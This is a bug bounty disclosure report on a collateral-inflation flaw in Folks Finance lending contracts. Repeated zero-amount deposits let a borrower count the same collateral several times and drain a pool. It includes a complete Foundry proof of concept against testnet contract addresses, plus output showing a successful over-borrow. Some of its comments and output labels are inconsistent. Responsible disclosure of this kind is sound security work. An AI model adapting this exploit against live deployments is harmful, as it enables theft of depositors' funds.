Boost _ Folks Finance 33665 - [Smart Contract - Critical] Collateral Inflation Exploit via Zero-Amount Deposits Allows An Attacker to Drain Any Pool

Submitted on Thu Jul 25 2024 22:47:16 GMT-0400 (Atlantic Standard Time) by @A2Security for Boost | Folks Finance

Report ID: #33665

Report type: Smart Contract

Report severity: Critical

Target: https://testnet.snowtrace.io/address/0x2cAa1315bd676FbecABFC3195000c642f503f1C9

Impacts:

  • attacker can drain an pool

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Brief/Intro

  • The folks-finance defi system contains a critical vulnerability in its collateral accounting mechanism. This flaw allows malicious actors to artificially inflate their collateral value by exploiting zero-amount deposits. The issue stems from the lack of proper deduplication in the collateral tracking system and a naive summation in the collateral calculation process. This vulnerability enables attackers to borrow amounts far exceeding their actual collateral and draining all liquidity from any pool in the system.

Vulnerability Details

  • The vulnerability exists in the collateral accounting mechanism, specifically in the interaction between LoanManagerLogic.sol and UserLoanLogic.sol. It allows an attacker to artificially inflate their collateral value through zero-amount deposits and drain any pool.

  1. Zero-amount deposits in SpokeToken.sol: The createLoanAndDeposit function allows users to deposit any amount, including zero amounts.

     function createLoanAndDeposit(
         Messages.MessageParams memory params,
         bytes32 accountId,
         bytes32 loanId,
         uint256 amount,
         uint16 loanTypeId,
         bytes32 loanName
     ) external payable nonReentrant {
         _doOperation(
             params,
             Messages.Action.CreateLoanAndDeposit,
             accountId,
             amount,
             abi.encodePacked(loanId, poolId, amount, loanTypeId, loanName)
         );
     }
  2. Collateral tracking in UserLoanLogic.sol: The increaseCollateral function adds the poolId to loan.colPools every time a deposit is made to that pool if the user balance of that pool is 0 , even for zero-amount deposits.

    function increaseCollateral(LoanManagerState.UserLoan storage loan, uint8 poolId, uint256 fAmount) external {
     if (loan.collaterals[poolId].balance == 0) loan.colPools.push(poolId);
     loan.collaterals[poolId].balance += fAmount;
    }
  3. Collateral calculation in UserLoanLogic.sol: The getLoanLiquidity function iterates over loan.colPools, summing up collateral values without deduplicating repeated poolIds.

     function getLoanLiquidity(
         LoanManagerState.UserLoan storage loan,
         mapping(uint8 => IHubPool) storage pools,
         mapping(uint8 => LoanManagerState.LoanPool) storage loanPools,
         IOracleManager oracleManager
     ) internal view returns (DataTypes.LoanLiquidityParams memory loanLiquidity) {
         // ... (other code)
         poolsLength = loan.colPools.length;
         for (uint8 i = 0; i < poolsLength; i++) {
             poolId = loan.colPools[i];
             balance = loan.collaterals[poolId].balance.toUnderlingAmount(
                 pools[poolId].getUpdatedDepositInterestIndex()
             );
             // ... (calculation code)
         }
         // ... (other code)
     }
  4. Borrow execution in LoanManagerLogic.sol: The executeBorrow function relies on isLoanOverCollateralized, which uses the inflated collateral value.

         function executeBorrow(/* ... (parameters)*/) external {
         // ... (other checks)
         if (!userLoan.isLoanOverCollateralized(pools, loanType.pools, oracleManager)) {
             revert UnderCollateralizedLoan(params.loanId);
         }
         // ... (borrow execution)
     }
  • The vulnerability allows an attacker to artificially inflate their collateral value by making multiple zero-amount deposits before a real deposit, enabling them to borrow disproportionately large amounts against their actual deposited collateral and drain any pool. This is possible due to the lack of proper deduplication in the colPools array and the naive summation in the getLoanLiquidity function.

Impact Details

The impact of this vulnerability is catastrophic for the lending platform:

  • Pool Drainage: Attackers can systematically drain liquidity from any pool in the system by exploiting the inflated collateral calculation.

  • Economic Model Collapse: The fundamental economic model of the platform is compromised, as risk assessment and collateralization ratios become meaningless.

  • Loss of User Funds: Legitimate users will lose access to their deposited funds as pools are drained by attacker.

  • Platform Failure: The vulnerability lead to a complete breakdown of the lending platform, rendering it non-functional.

Proof of concept

Proof of Concept:

  • here a poc shows how alice was able to borrow more then it's deposited amount , basically draining pool and steal bobs funds

  • We have added a proof of concept, in foundry that forks avalanche fugi and interacts with the deployed version of the protocol in testnet. To run the proof of concept please add the following files under tests. Please also make sure foundry is initialized in the project, and declare the custom remapping @forge-std

  1. First FIle: test/pocs/base_test.sol

    // SPDX-License-Identifier: UNLICENSED
    pragma solidity ^0.8.19;

    import "@forge-std/Test.sol";
    import "contracts/hub/Hub.sol";
    import "contracts/spoke/SpokeToken.sol";
    import "contracts/spoke/SpokeCommon.sol";
    import "contracts/hub/HubPool.sol";
    import "contracts/hub/LoanManager.sol";
    import "contracts/bridge/libraries/Messages.sol";
    import "contracts/hub/AccountManager.sol";
    import "contracts/bridge/BridgeRouter.sol";
    import "contracts/bridge/HubAdapter.sol";
    import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

    contract baseTest is Test {
        using SafeERC20 for address;
        // Hub public hub;

        uint256 mainnetFork;
        bytes32 public constant PREFIX = "HUB_ADAPTER_V1";
        address constant HUB_ADDRESS = 0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140; // Assuming this is the Hub address
        address constant SPOKE_COMMON = 0x6628cE08b54e9C8358bE94f716D93AdDcca45b00;
        address constant SPOKE_USDC = 0x89df7db4af48Ec7A84DE09F755ade9AF1940420b;
        address constant HUBPOOL_USDC = 0x1968237f3a7D256D08BcAb212D7ae28fEda72c34;
        address constant HUBPOOL_AVAX = 0xd90B7614551E799Cdef87463143eCe2efd4054f9;
        address constant SPOKE_AVAX = 0xBFf8b4e5f92eDD0A5f72b4b0E23cCa2Cc476ce2a;
        address constant LOAN_MANAGER = 0x2cAa1315bd676FbecABFC3195000c642f503f1C9;
        address constant ACCOUNT_MANAGER = 0x3324B5BF2b5C85999C6DAf2f77b5a29aB74197cc;
        address constant USDC_TOKEN = 0x5425890298aed601595a70AB815c96711a31Bc65;
        address constant ADAPTER = 0xf472ab58969709De9FfEFaeFFd24F9e90cf8DbF9;
        address constant LISTING_ROLE = 0x16870a6A85cD152229B97d018194d66740f932d6;
        uint16 constant STABELE_LOAN_TYPE_ID = 1;
        uint16 constant VARIABLE_LOAN_TYPE_ID = 2;
        uint16 constant CHAIN_ID = 1; // Assuming Ethereum mainnet

        Hub hub;
        SpokeCommon spokeCommon;
        AccountManager accountManager;
        SpokeToken spokeUsdc;
        SpokeToken spokeAvax;
        HubPool hubPoolUsdc;
        HubPool hubPoolAvax;
        LoanManager loanManager;
        HubAdapter adapter;
        Messages.MessageParams DUMMY_MESSAGE_PARAMS = Messages.MessageParams({adapterId: 1, returnAdapterId: 1, receiverValue: 0, gasLimit: 0, returnGasLimit: 0});
        ///// users account ids :
        address bob = makeAddr("bob");
        address alice = makeAddr("alice");
        bytes32 bobAccountId;
        bytes32 aliceAccountId;
        bytes32[] bobLoanIds;
        bytes32[] aliceLoanIds;

        function setUp() public {
            // Fork Avalanche mainnet
            mainnetFork = vm.createFork("https://api.avax-test.network/ext/bc/C/rpc", 35000569);
            vm.selectFork(mainnetFork);

            // Initialize contracts
            hub = Hub(HUB_ADDRESS);
            spokeCommon = SpokeCommon(SPOKE_COMMON);
            spokeUsdc = SpokeToken(SPOKE_USDC);
            spokeAvax = SpokeToken(SPOKE_AVAX);
            hubPoolUsdc = HubPool(HUBPOOL_USDC);
            hubPoolAvax = HubPool(HUBPOOL_AVAX);
            loanManager = LoanManager(LOAN_MANAGER);
            accountManager = AccountManager(ACCOUNT_MANAGER);
            adapter = HubAdapter(ADAPTER);
            // create account ids for bob and alice :
            address[] memory _users = new address[](2);
            _users[0] = bob;
            _users[1] = alice;
            bytes32[] memory ids = _createAccounts(_users);
            bobAccountId = ids[0];
            aliceAccountId = ids[1];
            // create loanids for alice and bob :
            bobLoanIds.push(_createLoan(bobAccountId, bob, 1, VARIABLE_LOAN_TYPE_ID));
            aliceLoanIds.push(_createLoan(aliceAccountId, alice, 1, VARIABLE_LOAN_TYPE_ID));
            // credit bob and alice with 1M usdc and 1000 avax each :
            deal(USDC_TOKEN, bob, 1e12);
            deal(USDC_TOKEN, alice, 1e12);
            vm.deal(bob, 100000e18);
            vm.deal(alice, 100000e18);
        }
        ////////////////////////////////////// helpers ///////////////////////////////////////////

        function _creditAvax(address to, uint256 amount) internal {
            vm.deal(to, amount);
        }

        function _creditUsdc(address to, uint256 amount) internal {
            deal(USDC_TOKEN, to, amount);
        }

        function _approveUsdc(address from, address to, uint256 amount) internal {
            vm.prank(from);
            IERC20(USDC_TOKEN).approve(to, amount);
        }

        function _createAccounts(address[] memory users) internal returns (bytes32[] memory) {
            bytes32 id;
            bytes32[] memory ids = new bytes32[](users.length);
            for (uint256 i = 0; i < users.length; i++) {
                id = keccak256(abi.encode(i, "testing"));
                vm.prank(users[i]);
                spokeCommon.createAccount(DUMMY_MESSAGE_PARAMS, id, "");
                assertTrue(accountManager.isAccountCreated(id));
                ids[i] = id;
            }
            return ids;
        }

        function _createLoan(bytes32 accId, address _sender, uint256 nonce, uint16 _loanType) internal returns (bytes32) {
            bytes32 loanId = keccak256(abi.encode(accId, nonce, "loan"));
            uint16 loanType = _loanType;
            bytes32 loanName = keccak256(abi.encode(loanId, loanType));
            // create the loan :
            vm.prank(_sender);
            spokeCommon.createLoan(DUMMY_MESSAGE_PARAMS, accId, loanId, loanType, loanName);
            // check if the loan is created :
            assertTrue(loanManager.isUserLoanActive(loanId));
            return loanId;
        }

        function _createLoanAndDeposit(bytes32 _accountId, address sender, uint256 nonce, uint16 loanType, uint256 _amount, SpokeToken spoke) internal {
            bytes32 loanId = keccak256(abi.encode(_accountId, nonce, "loan"));
            uint16 loanTypeId = loanType; // or VARIABLE_LOAN_TYPE_ID
            bytes32 loanName = keccak256(abi.encode(loanId, loanTypeId));

            vm.prank(sender);
            spoke.createLoanAndDeposit(DUMMY_MESSAGE_PARAMS, _accountId, loanId, _amount, loanTypeId, loanName);
        }

        function _createLoanAndDeposit(bytes32 _accountId, address sender, bytes32 _loanId, uint16 loanType, uint256 _amount, SpokeToken spoke) internal {
            bytes32 loanId = _loanId;
            uint16 loanTypeId = loanType; // or VARIABLE_LOAN_TYPE_ID
            bytes32 loanName = keccak256(abi.encode(loanId, loanTypeId));

            vm.prank(sender);
            spoke.createLoanAndDeposit(DUMMY_MESSAGE_PARAMS, _accountId, loanId, _amount, loanTypeId, loanName);
        }

        function _borrowVariable(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount) internal {
            _borrow(sender, _accountId, _loanId, _poolId, _amount, 0);
        }

        function _borrowStable(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, uint256 _maxStableRate) internal {
            _borrow(sender, _accountId, _loanId, _poolId, _amount, _maxStableRate);
        }

        function _borrow(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, uint256 _maxStableRate) internal {
            vm.prank(sender);
            spokeCommon.borrow(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _poolId, CHAIN_ID, _amount, _maxStableRate);
        }

        function _deposit(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount, SpokeToken spoke) internal {
            vm.prank(sender);
            spoke.deposit(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _amount);
        }

        function _depositAvax(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount) internal {
            vm.prank(sender);
            spokeAvax.deposit{value: _amount}(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _amount);
            // spoke.deposit(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _amount);
        }

        function _withdraw(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, bool isFAmount) internal {
            vm.prank(sender);
            spokeCommon.withdraw(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _poolId, CHAIN_ID, _amount, isFAmount);
        }

        function _repay(bytes32 _accountId, bytes32 _loanId, uint256 _amount, SpokeToken spoke, uint256 maxOverRepayment) internal {
            vm.prank(bob);
            spoke.repay(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _amount, maxOverRepayment);
        }

        function _getMsgId() internal view returns (bytes32) {
            uint256 s = adapter.sequence();
            return keccak256(abi.encodePacked(PREFIX, s));
        }

        function _checkSeccuss(bytes32 msgId) internal {
            vm.expectEmit();
            emit BridgeRouter.MessageSucceeded(1, msgId);
        }

        function _checkMessageSeccuss() internal {
            // vm.exepctEmit(true,false,false);
            // emit BridgeRouter.MessageSuccess(0,"");
        }
    }
  1. Second File (includes the poc): test/pocs/forktest.t.sol

    // SPDX-License-Identifier: UNLICENSED
    pragma solidity ^0.8.19;

    import "./base_test.sol";
    import "@forge-std/console.sol";

    contract Pocs_1 is baseTest {
        function test_poc_1() public {
            vm.startPrank(LISTING_ROLE);
            loanManager.updateLoanPoolCaps(2, hubPoolUsdc.getPoolId(), 100000e6, 10000e6);
            hubPoolUsdc.updateCapsData(HubPoolState.CapsData(type(uint64).max, type(uint64).max, 1e18));
            vm.stopPrank();

            // @audit bob deposits 2000 usdc
            uint256 bobDeposit = 2000e6; // 20 USDC
            _approveUsdc(bob, address(spokeUsdc), bobDeposit);
            _deposit(bob, bobAccountId, bobLoanIds[0], bobDeposit, spokeUsdc);
            // @audit alice deposit 0 amount two times to push the poolId to it's collateral array twice :
            uint256 aliceBalanceBefore = IERC20(USDC_TOKEN).balanceOf(alice);
            _deposit(alice, aliceAccountId, aliceLoanIds[0], 0, spokeUsdc);
            _deposit(alice, aliceAccountId, aliceLoanIds[0], 0, spokeUsdc);
            // @audit alice deposit 1000e6 usdc to the same pool :
            uint256 largeUsdcDeposit = 1000e6; // 10 USDC
            _approveUsdc(alice, address(spokeUsdc), largeUsdcDeposit);
            _deposit(alice, aliceAccountId, aliceLoanIds[0], largeUsdcDeposit, spokeUsdc);
            // @audit-issue : alice can borrow way more then his collateral (basically drain all liquidity from the pool)
            _borrowVariable(alice, aliceAccountId, aliceLoanIds[0], hubPoolUsdc.getPoolId(), 2000e6);
            uint256 aliceBalanceAfter = IERC20(USDC_TOKEN).balanceOf(alice);
            uint256 attackProfit = aliceBalanceAfter - aliceBalanceBefore;
            console.log("ALICE COULD DRAIN :", attackProfit / 1e6, "USDC");
        }
    }
  • this is the result if we execute the test with :

    forge test --mt test_poc_1 -vvv

Ran 1 test for test/pocs/manipulateStableRatePoC.sol:Pocss
[PASS] test_poc() (gas: 1863057)
Logs:
  ALICE COULD DRAIN : 1000 USDC

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.04s (7.54ms CPU time)

Last updated